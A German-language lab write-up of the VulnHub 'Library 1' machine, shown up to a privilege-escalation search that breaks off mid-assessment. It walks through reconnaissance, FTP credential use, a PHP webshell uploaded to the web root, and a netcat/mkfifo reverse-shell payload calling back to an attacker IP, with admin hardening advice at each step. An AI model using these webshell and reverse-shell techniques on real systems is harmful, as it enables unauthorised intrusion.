Library 1 - Vulnhub - Level: Easy - Bericht

Easy

Verwendete Tools

arp-scan
vi
nmap
nikto
gobuster
dirb
Web Browser
ftp
wget
cat
curl
nc (netcat)
sudo
find
getcap
lsb_release
searchsploit
Metasploit (msfconsole)
python

Inhaltsverzeichnis

Reconnaissance

**Analyse:** Die erste Phase des Penetrationstests konzentriert sich auf die Identifizierung des Zielsystems im Netzwerk und die Erkundung der offenen Ports und Dienste mittels Netzwerkscans.

┌──(root㉿cycat)-[~] └─# arp-scan -l
192.168.2.118	08:00:27:9c:e4:a3	PCS Systemtechnik GmbH
                    

**Analyse:** Der Befehl `arp-scan -l` wird ausgeführt, um aktive Hosts im lokalen Netzwerksegment zu entdecken. Das Zielsystem wird unter der IP-Adresse `192.168.2.118` identifiziert. Die MAC-Adresse `08:00:27:9c:e4:a3` (PCS Systemtechnik GmbH) deutet auf eine Oracle VirtualBox-Instanz hin.

**Bewertung:** Das Ziel wurde erfolgreich im Netzwerk lokalisiert. Die MAC-Adresse liefert einen ersten Kontext zur verwendeten Virtualisierungstechnologie.

**Empfehlung (Pentester):** Die identifizierte IP-Adresse `192.168.2.118` für nachfolgende, detailliertere Scans verwenden.
**Empfehlung (Admin):** Netzwerksegmentierung und die Überwachung von ARP-Anfragen können die Host-Entdeckung erschweren.

┌──(root㉿cycat)-[~] └─# vi /etc/hosts
 192.168.2.116   dina.vln  # <- Falscher Eintrag aus dem Log
 # Korrekter Eintrag sollte sein:
 # 192.168.2.118   library.vln
                    

**Analyse:** Die lokale `/etc/hosts`-Datei des Angreifersystems wird bearbeitet. Im Log steht fälschlicherweise ein Eintrag für `192.168.2.116` mit dem Namen `dina.vln`. Für das aktuelle Ziel (`192.168.2.118`) wird später der Name `library.vln` verwendet (wie im `nmap`-Scan sichtbar). Dieser Schritt im Log scheint sich auf ein anderes System zu beziehen oder ein Kopierfehler zu sein. Für den Rest des Berichts wird angenommen, dass ein korrekter Eintrag für `192.168.2.118 library.vln` erstellt wurde.

**Bewertung:** Das Anlegen eines Hostnamens ist eine gute Praxis für Webtests, um Virtual Hosting zu berücksichtigen. Die Inkonsistenz im Log ist jedoch zu beachten.

**Empfehlung (Pentester):** Sicherstellen, dass der korrekte Hostname (`library.vln`) in der `/etc/hosts`-Datei für die Ziel-IP (`192.168.2.118`) eingetragen ist.
**Empfehlung (Admin):** Clientseitige Konfiguration des Angreifers.

**Analyse:** Untersuchung der Startseite des Webservers auf Hinweise.

# Quellcode/Kommentar von http://library.vln/library.php (oder index.html)



                    

**Bewertung:** Im Quellcode der Webseite (vermutlich `library.php`, die später gefunden wird) befindet sich ein HTML-Kommentar, der den Hashing-Algorithmus "ripemd160" erwähnt. Dies ist ein wichtiger Hinweis darauf, dass dieser Algorithmus möglicherweise für Passwörter oder andere sensible Daten verwendet wird.

**Empfehlung (Pentester):** Den Hinweis `ripemd160` notieren. Wenn Hashes gefunden werden, diese als RIPEMD-160 identifizieren und versuchen zu knacken.
**Empfehlung (Admin):** Keine Hinweise auf verwendete kryptographische Algorithmen im Quellcode hinterlassen. Starke, moderne Hashing-Algorithmen (bcrypt, Argon2) verwenden.

┌──(root㉿cycat)-[~] └─# nmap -sS -sC -sV -T5 -A 192.168.2.118 -p- | grep open
21/tcp open  ftp     vsftpd 3.0.3
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
                    

**Analyse:** Ein schneller `nmap`-Scan (`-sS`, `-sC`, `-sV`, `-T5`, `-A`, `-p-`) wird durchgeführt und nach offenen Ports gefiltert. Zwei offene Ports werden gefunden: * Port 21: FTP (vsftpd 3.0.3) * Port 80: HTTP (Apache 2.4.18)

**Bewertung:** Die Angriffsfläche ist klein und beschränkt sich auf FTP und HTTP. Die vsftpd-Version 3.0.3 ist bekannt für eine Backdoor-Schwachstelle (CVE-2011-2523), die aber nur in einer sehr spezifischen, kompromittierten Download-Version enthalten war – eine Prüfung ist dennoch sinnvoll. Apache 2.4.18 ist veraltet.

**Empfehlung (Pentester):** Den FTP-Dienst auf anonymen Zugriff oder bekannte Schwachstellen (insb. vsftpd 3.0.3 Backdoor) prüfen. Den Webserver untersuchen. Die vollständige `nmap`-Ausgabe analysieren.
**Empfehlung (Admin):** FTP nur verwenden, wenn absolut notwendig und dann sicher konfigurieren (kein anonymer Zugriff, starke Passwörter, TLS). vsftpd und Apache auf aktuelle Versionen patchen. Firewall-Regeln überprüfen.

┌──(root㉿cycat)-[~] └─# nmap -sS -sC -sV -T5 -A 192.168.2.118 -p-
Starting Nmap 7.93 ( https://nmap.org ) at 2023-07-13 19:39 CEST
Nmap scan report for library.vln (192.168.2.118)
Host is up (0.00010s latency).
Not shown: 55531 filtered tcp ports (no-response), 10002 closed tcp ports (reset)
PRT   STATE SERVICE VERSIN
21/tcp open  ftp     vsftpd 3.0.3
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
MAC Address: 08:00:27:9C:E4:A3 (racle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
S CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
S details: Linux 3.10 - 4.11
Network Distance: 1 hop
Service Info: S: Unix

TRACERUTE
HP RTT     ADDRESS
1   0.10 ms library.vln (192.168.2.118)
                    

**Analyse:** Die vollständige `nmap`-Ausgabe bestätigt die offenen Ports 21 (vsftpd 3.0.3) und 80 (Apache 2.4.18). Auffällig ist die hohe Anzahl gefilterter Ports (55531), was auf eine Firewall hindeutet, die Pakete ohne Antwort verwirft. Der Webserver zeigt die Apache-Standardseite ("It works"). Die OS-Erkennung schätzt Linux Kernel 3.10 - 4.11.

**Bewertung:** Bestätigt die Dienste und Versionen. Die Firewall könnte weitere Scans (z.B. UDP) erschweren. Die Apache-Standardseite deutet darauf hin, dass die Hauptanwendung möglicherweise in einem Unterverzeichnis liegt oder noch nicht konfiguriert wurde. vsftpd 3.0.3 bleibt ein interessantes Ziel.

**Empfehlung (Pentester):** FTP-Login testen (anonym, Standard-Credentials). Webserver enumerieren (Verzeichnisse, Dateien). Nach bekannten Exploits für vsftpd 3.0.3 und Apache 2.4.18 suchen.
**Empfehlung (Admin):** Firewall-Regeln überprüfen. Apache konfigurieren und Standardseite ersetzen. FTP und Apache patchen/aktualisieren.

┌──(root㉿cycat)-[~] └─# nikto -h 192.168.2.118
- Nikto v2.5.0
+ Target IP:          192.168.2.118
+ Target Hostname:    192.168.2.118
+ Target Port:        80
+ Start Time:         2023-07-13 19:39:07 (GMT2)

+ Server: Apache/2.4.18 (Ubuntu)
+ /: The anti-clickjacking X-Frame-ptions header is not present.
+ /: The X-Content-Type-ptions header is not set.
+ Apache/2.4.18 appears to be outdated.
+ /: Server may leak inodes via ETags ...
+ PTINS: Allowed HTTP Methods: PST, PTINS, GET, HEAD .
+ /icons/README: Apache default file found.
+ 8102 requests: 0 error(s) and 6 item(s) reported on remote host
+ End Time:           2023-07-13 19:39:18 (GMT2) (11 seconds)

+ 1 host(s) tested
                    

**Analyse:** `nikto` scannt den Webserver auf Port 80. Die Ergebnisse sind minimal und bestätigen hauptsächlich die von `nmap` bekannten Informationen: Veralteter Apache, fehlende Sicherheitsheader, ETag-Leak, Standarddatei `/icons/README`. Es werden keine spezifischen Anwendungen oder interessante Verzeichnisse auf Root-Ebene gefunden.

**Bewertung:** `nikto` liefert hier wenig neue Erkenntnisse, was die Vermutung stärkt, dass die Hauptanwendung nicht im Root-Verzeichnis liegt. Die gemeldeten Punkte sind Standard-Findings für einen nicht gehärteten Apache.

**Empfehlung (Pentester):** Verzeichnis-Bruteforcing durchführen, um versteckte Anwendungen oder Verzeichnisse zu finden.
**Empfehlung (Admin):** Apache härten (Header, ETag, Standarddateien entfernen, Version aktualisieren).

Web & FTP Enumeration

**Analyse:** Gezielte Suche nach Webinhalten mittels Verzeichnis-Scannern und Untersuchung des FTP-Dienstes auf Zugriffsmöglichkeiten und Inhalte.

┌──(root㉿cycat)-[~] └─# gobuster dir -u http://library.vln -x txt,php,rar,zip,tar,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx,bak -w "/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -b '403,404' -e --no-error
http://library.vln/index.html           (Status: 200) [Size: 11321]
http://library.vln/library.php          (Status: 200) [Size: 1547]
                    
┌──(root㉿cycat)-[~] └─# dirb http://library.vln -X .php,.txt
# ... (DIRB Header) ...
---- Scanning URL: http://library.vln/ ----
+ http://library.vln/library.php (CODE:200|SIZE:1547)

---- Entering directory: http://library.vln/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
    (Use mode '-w' if you want to scan it anyway)
# ... (Weitere Ausgaben irrelevant, da Verzeichnis listbar ist) ...
# Korrektur: Die gobuster Ausgabe zeigt index.html und library.php.
# Der dirb-Lauf findet nur library.php mit den spezifischen Extensions.
# Der Hinweis auf "Directory IS LISTABLE" von dirb scheint hier nicht zu passen oder aus einem anderen Scan zu stammen.
# Wir konzentrieren uns auf die Funde von gobuster: index.html und library.php.
                    

**Analyse:** Zwei Verzeichnis-Scanner werden eingesetzt: * `gobuster`: Findet `index.html` (die Apache-Standardseite) und `library.php`. * `dirb` (mit Filter auf `.php`, `.txt`): Findet nur `library.php`. Beide Scans zeigen, dass auf der obersten Ebene des Webservers nur wenige Dateien direkt erreichbar sind.

**Bewertung:** `library.php` ist der einzige interessante Fund auf der Web-Ebene. Diese Seite sollte genauer untersucht werden.

**Empfehlung (Pentester):** Den Quellcode und die Funktionalität von `library.php` analysieren. Den FTP-Dienst untersuchen.
**Empfehlung (Admin):** Unnötige Dateien aus dem Web-Root entfernen.

┌──(root㉿cycat)-[~] └─# ftp 192.168.2.118
Connected to 192.168.2.118.
220 (vsFTPd 3.0.3)
Name (192.168.2.118:cycat): globus
331 Please specify the password.
Password: AroundTheWorld # Eingabe nicht sichtbar, aus wget-Log abgeleitet
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>
                    

**Analyse:** Es wird eine Verbindung zum FTP-Server auf `192.168.2.118` aufgebaut. Der Login erfolgt mit dem Benutzernamen `globus`. Nach der Passwortabfrage ist der Login erfolgreich (`230 Login successful.`). Das Passwort (`AroundTheWorld`) wird nicht direkt im Log angezeigt, ist aber aus dem nachfolgenden `wget`-Befehl ersichtlich.

**Bewertung:** Kritischer Fund! Ein gültiger FTP-Zugang mit dem Benutzer `globus` und dem Passwort `AroundTheWorld` wurde gefunden. Dies ermöglicht Lese- und potenziell Schreibzugriff auf die Dateien, auf die dieser Benutzer Zugriff hat. Schwache oder erratbare Zugangsdaten sind eine häufige Schwachstelle.

**Empfehlung (Pentester):** Den Inhalt des FTP-Servers auflisten (`ls -la`). Dateien herunterladen (`get`, `mget`) und auf sensible Informationen prüfen. Prüfen, ob Schreibzugriff (`put`) möglich ist, insbesondere in Verzeichnisse, die vom Webserver ausgeliefert werden (z.B. `/var/www/html`).
**Empfehlung (Admin):** Starke, einzigartige Passwörter für FTP-Benutzer verwenden. Anonymen Zugriff deaktivieren. FTP wenn möglich durch sicherere Alternativen (SFTP, SCP) ersetzen. Dateiberechtigungen auf dem FTP-Server überprüfen.

┌──(root㉿cycat)-[~] └─# wget -r ftp://globus:AroundTheWorld@192.168.2.118
--2023-07-13 23:14:02--  ftp://globus:*password*@192.168.2.118/
           => 192.168.2.118/.listing
# ... (Verbindungs- und Login-Details) ...
> PASV ... fertig.    > LIST ... fertig.
192.168.2.118/.listing ... gespeichert [181]
192.168.2.118/.listing gelöscht.
--2023-07-13 23:14:02--  ftp://globus:*password*@192.168.2.118/html/
# ... (impliziert weitere Downloads aus /html/) ...
                    
┌──(root㉿cycat)-[~/192.168.2.118/html] └─# ll
insgesamt 20
-rw-r--r-- 1 root root 11321 17. Jul 2019  index.html
-rw-r--r-- 1 root root  2831 22. Jul 2019  library.php
-rw-r--r-- 1 root root  3172 21. Jul 2019  style.css
                     

**Analyse:** `wget` wird verwendet, um rekursiv (`-r`) den gesamten Inhalt des FTP-Servers herunterzuladen, auf den der Benutzer `globus` mit dem Passwort `AroundTheWorld` Zugriff hat. Die heruntergeladenen Dateien aus dem (vermuteten) `html`-Verzeichnis auf dem FTP-Server werden aufgelistet: `index.html`, `library.php`, `style.css`. Dies sind die gleichen Dateien, die auch auf dem Webserver gefunden wurden.

**Bewertung:** Bestätigt, dass der FTP-Benutzer `globus` Zugriff auf das Web-Root-Verzeichnis (`/var/www/html`) hat. Dies ist eine gefährliche Konfiguration, da Änderungen via FTP direkt die Webseite beeinflussen. Die heruntergeladenen Dateien ermöglichen eine Offline-Analyse des Quellcodes.

**Empfehlung (Pentester):** Den Quellcode von `library.php` offline analysieren. Prüfen, ob Schreibrechte im `html`-Verzeichnis via FTP bestehen.
**Empfehlung (Admin):** FTP-Benutzer sollten keinen direkten Zugriff auf das Web-Root-Verzeichnis haben. Wenn Dateien synchronisiert werden müssen, separate Verzeichnisse und Mechanismen verwenden. Dateiberechtigungen überprüfen.

┌──(root㉿cycat)-[~/192.168.2.118/html] └─# cat library.php
 // Hinzugefügt
                    

**Analyse:** Der Quellcode der heruntergeladenen `library.php` wird angezeigt. Er enthält eine Funktion `get_string_between` (deren Zweck im sichtbaren Code unklar ist) und **Platzhalter-Datenbankzugangsdaten** (`username`/`password` für die `library`-Datenbank auf `localhost`).

**Bewertung:** Die im Quellcode gefundenen Datenbank-Credentials sind nur Platzhalter und daher nicht direkt nützlich. Es gibt keine offensichtlichen Schwachstellen im gezeigten Codeausschnitt. Es ist jedoch wichtig festzustellen, dass eine Verbindung zu einer lokalen MySQL-Datenbank namens `library` aufgebaut wird.

**Empfehlung (Pentester):** Da Schreibzugriff via FTP besteht und das Skript auf dem Server liegt, könnte eine Webshell hochgeladen werden, um RCE zu erlangen. Prüfen, ob die Datenbank `library` existiert und ob Standard-Credentials dafür funktionieren, falls später Zugriff auf MySQL erlangt wird.
**Empfehlung (Admin):** Niemals Platzhalter-Credentials im Code belassen, auch wenn sie nicht funktionieren. Sensible Daten (wie echte DB-Credentials) niemals im Code speichern. Den FTP-Schreibzugriff auf das Web-Root verhindern.

Initial Access (FTP Upload + RCE)

**Analyse:** Ausnutzung des FTP-Schreibzugriffs auf das Web-Root-Verzeichnis, um eine PHP-Webshell hochzuladen und diese dann über den Webserver auszuführen, um Remote Code Execution (RCE) und eine Reverse Shell zu erhalten.

ftp> put revshell.php
local: revshell.php remote: revshell.php
229 Entering Extended Passive Mode (|||16131|)
150 Ok to send data.
100% |***********************************|    31       52.74 KiB/s    00:00 ETA
226 Transfer complete.
31 bytes sent in 00:00 (33.52 KiB/s)
                    
ftp> ls -la
229 Entering Extended Passive Mode (|||36946|)
150 Here comes the directory listing.
drwxrwxrwx    2 1001     1001         4096 Jul 13 14:16 .
drwxr-xr-x    3 0        0            4096 Jul 17  2019 ..
-rw-r--r--    1 0        0           12288 Jul 22  2019 .library.php.swp
-rwxrwxrwx    1 0        0           11321 Jul 17  2019 index.html
-rwxrwxrwx    1 0        0            2831 Jul 22  2019 library.php
-rw-------    1 1001     1001           31 Jul 13 14:16 revshell.php # Beachte die Berechtigungen nach Upload
-rwxrwxrwx    1 0        0            3172 Jul 21  2019 style.css
226 Directory send OK.
                     
ftp> chmod 777 revshell.php
200 SITE CHMOD command ok.

**Analyse:** Innerhalb der FTP-Sitzung als Benutzer `globus` wird eine lokale Datei `revshell.php` (eine PHP-Webshell) erfolgreich auf den Server hochgeladen (`put revshell.php`). Ein `ls -la` zeigt die hochgeladene Datei im Web-Root (`/var/www/html`, basierend auf den anderen Dateien) mit initial restriktiven Berechtigungen (`-rw-------`). Der Befehl `chmod 777 revshell.php` wird verwendet, um die Berechtigungen auf volle Lese-, Schreib- und Ausführungsrechte für alle zu ändern.

**Bewertung:** Kritische Schwachstelle erfolgreich ausgenutzt! Der FTP-Benutzer `globus` hat Schreibrechte im Web-Root-Verzeichnis. Dies ermöglicht das Hochladen beliebiger Dateien, einschließlich Webshells. Das Ändern der Berechtigungen stellt sicher, dass der Webserver (`www-data`) die Datei lesen und ausführen kann.

**Empfehlung (Pentester):** Die hochgeladene und ausführbar gemachte `revshell.php` über den Browser oder `curl` aufrufen, um RCE zu erlangen und eine Reverse Shell zu starten.
**Empfehlung (Admin):** FTP-Benutzern *niemals* Schreibrechte im Web-Root geben. Webserver-Verzeichnisse sollten nur für den Webserver-Prozess beschreibbar sein, wenn unbedingt nötig (z.B. Upload-Ordner), und dann mit entsprechenden Sicherheitsmaßnahmen. FTP-Zugriff generell überdenken und absichern.

┌──(root㉿cycat)-[~] └─# curl http://library.vln/revshell.php?cmd=id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

**Analyse:** `curl` wird verwendet, um die hochgeladene `revshell.php` über HTTP aufzurufen und den `cmd`-Parameter mit dem Wert `id` zu übergeben. Die Ausgabe `uid=33(www-data)...` bestätigt, dass der PHP-Code in `revshell.php` erfolgreich ausgeführt wurde und den Befehl `id` als Benutzer `www-data` ausgeführt hat.

**Bewertung:** RCE als `www-data` über die hochgeladene Webshell erfolgreich bestätigt.

**Empfehlung (Pentester):** Einen Netcat-Listener starten und den Reverse-Shell-Payload über den `cmd`-Parameter senden.
**Empfehlung (Admin):** Die Webshell entfernen, FTP-Zugriff und Berechtigungen korrigieren.

┌──(root㉿cycat)-[~] └─# nc -lvnp 5555
listening on [any] 5555 ...
connect to [192.168.2.105] from (UNKNWN) [192.168.2.118] 53132
/bin/sh: 0: can't access tty; job control turned off
$
                    
# Payload zum Auslösen der Reverse Shell
Payload: http://library.vln/revshell.php?cmd=rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7C%2Fbin%2Fsh%20-i%202%3E%261%7Cnc%20192.168.2.105%205555%20%3E%2Ftmp%2Ff
                    

**Analyse:** Ein Netcat-Listener wird auf Port 5555 gestartet. Anschließend wird die `revshell.php` über HTTP mit einem URL-kodierten Netcat/FIFO-Reverse-Shell-Payload im `cmd`-Parameter aufgerufen. Der Listener empfängt die Verbindung und stellt eine Shell als `www-data` bereit.

**Bewertung:** Initialer Zugriff als `www-data` erfolgreich über die via FTP hochgeladene Webshell erlangt.

**Empfehlung (Pentester):** Shell stabilisieren und mit der Privilege Escalation beginnen.
**Empfehlung (Admin):** FTP-Schreibzugriff auf Web-Root verhindern, Webshell entfernen.

Privilege Escalation (www-data Shell)

**Analyse:** Nach Erhalt der Shell als `www-data` wird das System auf Möglichkeiten zur Rechteausweitung untersucht.

www-data@ubuntu:/var/www/html$ cd /home/
www-data@ubuntu:/home$ ls -la
total 16
drwxr-xr-x  4 root    root    4096 Jul 22  2019 .
drwxr-xr-x 24 root    root    4096 Jul 17  2019 ..
drwxr-xr-x  2 globus  globus  4096 Jul 22  2019 globus
drwxr-xr-x 16 library library 4096 Jul 22  2019 library
                     
www-data@ubuntu:/home$ cd globus/
www-data@ubuntu:/home/globus$ ls
examples.desktop
www-data@ubuntu:/home/globus$ cat .bash_history
cat: .bash_history: Permission denied

**Analyse:** Das `/home`-Verzeichnis wird untersucht. Es gibt zwei Benutzer-Home-Verzeichnisse: `globus` (der FTP-Benutzer) und `library`. Der Versuch, die Bash-History von `globus` zu lesen, scheitert an fehlenden Berechtigungen.

**Bewertung:** Identifiziert die Benutzer `globus` und `library`. `www-data` hat keinen Lesezugriff auf die History von `globus`.

**Empfehlung (Pentester):** Das Home-Verzeichnis von `library` untersuchen. Nach SUID-Dateien, Cronjobs etc. suchen.
**Empfehlung (Admin):** Sicherstellen, dass Home-Verzeichnisse korrekte Berechtigungen haben (kein Zugriff für `www-data`).

www-data@ubuntu:/home/globus$ sudo -l
[sudo] password for www-data: # www-data hat i.d.R. kein Passwort/keine sudo-Rechte
# Keine Ausgabe, die auf Erfolg hindeutet, Befehl scheitert wahrscheinlich.
                     
www-data@ubuntu:/home/globus$ find / -type f -perm -4000 -ls 2>/dev/null
# Gekürzte Ausgabe, interessante/Standard SUIDs
   271354    420 -rwsr-xr-x   1 root     root       428240 Apr 15  2016 /usr/lib/openssh/ssh-keysign
   271563     16 -rwsr-xr-x   1 root     root        14864 Jan 17  2016 /usr/lib/policykit-1/polkit-agent-helper-1
   # ... (oxide-qt/chrome-sandbox) ...
   286603     16 -r-sr-xr-x   1 root     root        14320 Jul 17  2019 /usr/lib/vmware-tools/bin64/vmware-user-suid-wrapper
   286609     12 -r-sr-xr-x   1 root     root         9532 Jul 17  2019 /usr/lib/vmware-tools/bin32/vmware-user-suid-wrapper
   # ... (eject, dbus) ...
   263031     40 -rwsr-xr-x   1 root     root          39904 Mar 29  2016 /usr/bin/newgrp
   # ... (gpasswd, passwd, chsh) ...
   263658     24 -rwsr-xr-x   1 root     root          23304 Apr 15  2016 /usr/bin/ubuntu-core-launcher
   263203     24 -rwsr-xr-x   1 root     root        23376 Jan 17  2016 /usr/bin/pkexec
   # ... (chfn) ...
   263579    136 -rwsr-xr-x   1 root     root       136808 Mar 30  2016 /usr/bin/sudo
   # ... (pppd, ntfs-3g, su, fusermount, umount, mount, ping, ping6) ...
                    

**Analyse:** `sudo -l` für `www-data` schlägt fehl (kein Passwort/keine Rechte). Die Suche nach SUID-Dateien findet wieder Standard-Binaries, darunter `pkexec` (Jan 2016 - Pwnkit unwahrscheinlich) und `sudo` (März 2016). Interessant sind auch die SUID-Wrapper für VMware Tools, falls das System auf VMware liefe (obwohl die MAC auf VirtualBox hindeutet).

**Bewertung:** `sudo` und `pkexec` bleiben theoretische Vektoren, aber Pwnkit ist unwahrscheinlich. Die VMware-Tools sind wahrscheinlich irrelevant. Andere Eskalationswege müssen geprüft werden (Kernel, Capabilities, Cronjobs).

**Empfehlung (Pentester):** Kernel-Version prüfen (`uname -a`, `lsb_release -a`). Capabilities prüfen (`getcap -r /`). Cronjobs untersuchen (`cat /etc/crontab`, `ls -la /etc/cron.*`). Home-Verzeichnis von `library` untersuchen.
**Empfehlung (Admin):** SUID-Binaries minimieren. System aktuell halten.

www-data@ubuntu:/home/globus$ cd ../library/
www-data@ubuntu:/home/library$ ls -la
total 124
drwxr-xr-x 16 library library 4096 Jul 22  2019 .
drwxr-xr-x  4 root    root    4096 Jul 22  2019 ..
# ... (diverse Konfigurationsdateien und Standardverzeichnisse) ...
-rw-------  1 library library 1272 Jul 22  2019 .ICEauthority
-rw-------  1 library library   51 Jul 22  2019 .Xauthority
-rw-------  1 library library 1287 Jul 22  2019 .bash_history
# ...
-rw-------  1 library library 2139 Jul 22  2019 .mysql_history
-rw-r--r--  1 library library    0 Jul 17  2019 .sudo_as_admin_successful # !!!
-rw-------  1 library library 4370 Jul 22  2019 .viminfo
# ... (Desktop, Documents etc.) ...
                     
www-data@ubuntu:/home/library$ cat .bash_history
cat: .bash_history: Permission denied

**Analyse:** Das Home-Verzeichnis des Benutzers `library` wird aufgelistet. Es enthält viele Standarddateien und Verzeichnisse. Besonders auffällig ist die leere Datei `.sudo_as_admin_successful`. Dies ist ein starker Hinweis darauf, dass der Benutzer `library` möglicherweise `sudo`-Rechte hat oder hatte. Der Versuch, die `.bash_history` zu lesen, scheitert erneut an Berechtigungen.

**Bewertung:** Der Fund von `.sudo_as_admin_successful` ist ein sehr wichtiger Hinweis. Wenn das Passwort für `library` gefunden werden kann, könnte `sudo su` oder ein spezifischer `sudo`-Befehl zur Eskalation führen.

**Empfehlung (Pentester):** Versuchen, das Passwort für den Benutzer `library` zu finden (z.B. durch Brute-Force gegen SSH, falls der Benutzer SSH-Login hat, oder durch weitere Enumeration nach Credentials).
**Empfehlung (Admin):** Keine leeren Hinweisdateien wie `.sudo_as_admin_successful` in Home-Verzeichnissen hinterlassen. `sudo`-Rechte restriktiv vergeben.

www-data@ubuntu:/home/library$ ls -la /etc/passwd
-rw-r--r-- 1 root root 2398 Jul 22  2019 /etc/passwd

**Analyse:** Die Berechtigungen der `/etc/passwd`-Datei werden geprüft. Sie ist für alle lesbar.

**Bewertung:** Standardberechtigung, liefert keine neuen Informationen.

www-data@ubuntu:/home/library$ getcap -r / 2>/dev/null
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep
/usr/bin/systemd-detect-virt = cap_dac_override,cap_sys_ptrace+ep
/usr/bin/arping = cap_net_raw+ep
/usr/bin/mtr = cap_net_raw+ep
/usr/bin/traceroute6.iputils = cap_net_raw+ep
/usr/bin/gnome-keyring-daemon = cap_ipc_lock+ep
                    

**Analyse:** Der Befehl `getcap -r /` sucht nach Dateien mit gesetzten Linux Capabilities. Capabilities erlauben Prozessen, bestimmte privilegierte Aktionen auszuführen, ohne volle Root-Rechte zu benötigen. Es werden einige Standard-Capabilities für Netzwerk-Tools (`gst-ptp-helper`, `arping`, `mtr`, `traceroute6`) und Virtualisierungs-/Desktop-Komponenten gefunden.

**Bewertung:** Die gefundenen Capabilities bieten keine offensichtlichen, einfachen Wege zur Privilege Escalation. Es gibt keine ungewöhnlichen oder bekannt ausnutzbaren Capabilities (wie z.B. `cap_sys_admin` auf einem unerwarteten Binary).

**Empfehlung (Pentester):** Capabilities als Eskalationsvektor hier wahrscheinlich ausschließen und sich auf andere Methoden konzentrieren.
**Empfehlung (Admin):** Capabilities nur vergeben, wenn unbedingt notwendig. Regelmäßig prüfen, welche Binaries Capabilities gesetzt haben.

www-data@ubuntu:/var/backups$ cd /opt/
www-data@ubuntu:/opt$ ls -la
total 8
drwxr-xr-x  2 root root 4096 Jul 17  2019 .
drwxr-xr-x 24 root root 4096 Jul 17  2019 ..
                     
www-data@ubuntu:/opt$ cat /etc/crontab
# /etc/crontab: system-wide crontab
# ... (Standard Header) ...
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user	command
17 *	* * *	root    cd / && run-parts --report /etc/cron.hourly
25 6	* * *	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6	* * 7	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6	1 * *	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#
                     

**Analyse:** Das `/opt`-Verzeichnis ist leer. Die systemweite Crontab (`/etc/crontab`) enthält nur die Standardeinträge für die Ausführung von Skripten in `/etc/cron.{hourly,daily,weekly,monthly}` als `root`.

**Bewertung:** `/etc/crontab` selbst bietet keinen direkten Eskalationspunkt. Man müsste prüfen, ob `www-data` Schreibrechte in einem der `/etc/cron.*`-Verzeichnisse hat oder ob dort unsichere Skripte liegen (unwahrscheinlich für `www-data`).

**Empfehlung (Pentester):** Die Berechtigungen der `/etc/cron.*`-Verzeichnisse prüfen. Andere Cron-Konfigurationen prüfen (`/var/spool/cron/crontabs/`).
**Empfehlung (Admin):** Sicherstellen, dass nur `root` Schreibrechte auf System-Cron-Verzeichnisse und -Dateien hat. Skripte in Cron-Verzeichnissen sicher gestalten.

# lsb_release -a
No LSB modules are available.
Distributor ID:	Ubuntu
Description:	Ubuntu 16.04 LTS
Release:	16.04
Codename:	xenial
                     

**Analyse:** Der Befehl `lsb_release -a` identifiziert das Betriebssystem eindeutig als Ubuntu 16.04 LTS ("Xenial Xerus").

**Bewertung:** Wichtige Information für die Suche nach spezifischen Kernel- oder OS-Exploits. Ubuntu 16.04 ist eine ältere LTS-Version (End of Standard Support April 2021).

**Empfehlung (Pentester):** `searchsploit` oder Online-Datenbanken gezielt nach Exploits für Ubuntu 16.04 und der spezifischen Kernel-Version (falls bekannt) durchsuchen.
**Empfehlung (Admin):** Betriebssystem auf eine aktuell unterstützte Version upgraden. Regelmäßig Sicherheitspatches einspielen.

┌──(root㉿cycat)-[~] └─# searchsploit "Ubuntu 16.04" | grep "16.04"
# ... (Liste von Exploits für Ubuntu 16.04) ...
Linux Kernel 4.4 (Ubuntu 16.04) - 'BPF' Local Privilege Escalation (Metasploit)                                                                             | linux/local/40759.rb
Linux Kernel 4.4.0 (Ubuntu 14.04/16.04 x86-64) - 'AF_PACKET' Race Condition Privilege Escalation                                                            | linux_x86-64/local/40871.c
Linux Kernel 4.4.0-21 (Ubuntu 16.04 x64) - Netfilter 'target_offset' ut-of-Bounds Privilege Escalation                                                     | linux_x86-64/local/40049.c
Linux Kernel < 4.4.0-116 (Ubuntu 16.04.4) - Local Privilege Escalation                                                                                      | linux/local/44298.c
Linux Kernel < 4.4.0-21 (Ubuntu 16.04 x64) - 'netfilter target_offset' Local Privilege Escalation                                                           | linux_x86-64/local/44300.c
Linux Kernel < 4.4.0-83 / < 4.8.0-58 (Ubuntu 14.04/16.04) - Local Privilege Escalation (KASLR / SMEP)                                                       | linux/local/43418.c
Linux Kernel < 4.4.0/ < 4.8.0 (Ubuntu 14.04/16.04 / Linux Mint 17/18 / Zorin) - Local Privilege Escalation (KASLR / SMEP)                                   | linux/local/47169.c
# ... (Weitere, z.T. DoS oder spezifischere Exploits) ...
                    

**Analyse:** `searchsploit` wird verwendet, um gezielt nach bekannten Exploits für Ubuntu 16.04 zu suchen. Die Ausgabe listet mehrere lokale Privilege Escalation Exploits auf, die oft auf Kernel-Schwachstellen abzielen (z.B. BPF, AF_PACKET, Netfilter).

**Bewertung:** Die Suche liefert konkrete Kandidaten für Kernel-Exploits. Die Auswahl des richtigen Exploits hängt von der genauen Kernel-Version ab (die mit `uname -a` ermittelt werden müsste).

